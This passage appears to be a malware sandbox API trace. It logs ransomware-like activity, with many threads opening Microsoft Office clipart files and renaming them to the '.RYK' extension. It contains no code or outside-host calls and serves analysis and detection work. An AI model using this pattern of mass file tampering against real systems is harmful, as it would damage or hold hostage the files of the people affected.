	[0245.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2500
	os_tid = 0x2cd0

	[0244.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF", dwFileAttributes=0x80) returned 0
	[0244.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2501
	os_tid = 0x2cd4

	[0244.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF", dwFileAttributes=0x80) returned 0
	[0244.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.997] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2502
	os_tid = 0x2cd8

	[0244.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF", dwFileAttributes=0x80) returned 0
	[0244.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2503
	os_tid = 0x2cdc

	[0244.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF", dwFileAttributes=0x80) returned 0
	[0245.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2504
	os_tid = 0x2ce0

	[0244.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF", dwFileAttributes=0x80) returned 0
	[0244.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2505
	os_tid = 0x2ce4

	[0244.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF", dwFileAttributes=0x80) returned 0
	[0245.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2506
	os_tid = 0x2ce8

	[0244.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF", dwFileAttributes=0x80) returned 0
	[0245.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.158] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2507
	os_tid = 0x2cec

	[0244.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF", dwFileAttributes=0x80) returned 0
	[0245.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2508
	os_tid = 0x2cf0

	[0244.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF", dwFileAttributes=0x80) returned 0
	[0245.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2509
	os_tid = 0x2cf4

	[0244.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF", dwFileAttributes=0x80) returned 0
	[0245.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2510
	os_tid = 0x2cf8

	[0244.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF", dwFileAttributes=0x80) returned 0
	[0245.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2511
	os_tid = 0x2cfc

	[0244.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF", dwFileAttributes=0x80) returned 0
	[0245.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2517
	os_tid = 0x2d18

	[0244.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF", dwFileAttributes=0x80) returned 0
	[0245.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2518
	os_tid = 0x2d1c

	[0244.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF", dwFileAttributes=0x80) returned 0
	[0245.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2519
	os_tid = 0x2d20

	[0244.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF", dwFileAttributes=0x80) returned 0
	[0245.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2520
	os_tid = 0x2d24

	[0244.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF", dwFileAttributes=0x80) returned 0
	[0245.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2521
	os_tid = 0x2d28

	[0244.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF", dwFileAttributes=0x80) returned 0
	[0245.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2522
	os_tid = 0x2d2c

	[0244.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF", dwFileAttributes=0x80) returned 0
	[0245.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2523
	os_tid = 0x2d30

	[0244.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF", dwFileAttributes=0x80) returned 0
	[0245.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2524
	os_tid = 0x2d34

	[0244.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF", dwFileAttributes=0x80) returned 0
	[0245.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2527
	os_tid = 0x2d50

	[0245.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF", dwFileAttributes=0x80) returned 0
	[0245.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2528
	os_tid = 0x2d54

	[0245.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF", dwFileAttributes=0x80) returned 0
	[0245.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2529
	os_tid = 0x2d58

	[0245.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF", dwFileAttributes=0x80) returned 0
	[0245.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2530
	os_tid = 0x2d5c

	[0245.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF", dwFileAttributes=0x80) returned 0
	[0245.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2531
	os_tid = 0x2d60

	[0245.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF", dwFileAttributes=0x80) returned 0
	[0245.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2532
	os_tid = 0x2d64

	[0245.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF", dwFileAttributes=0x80) returned 0
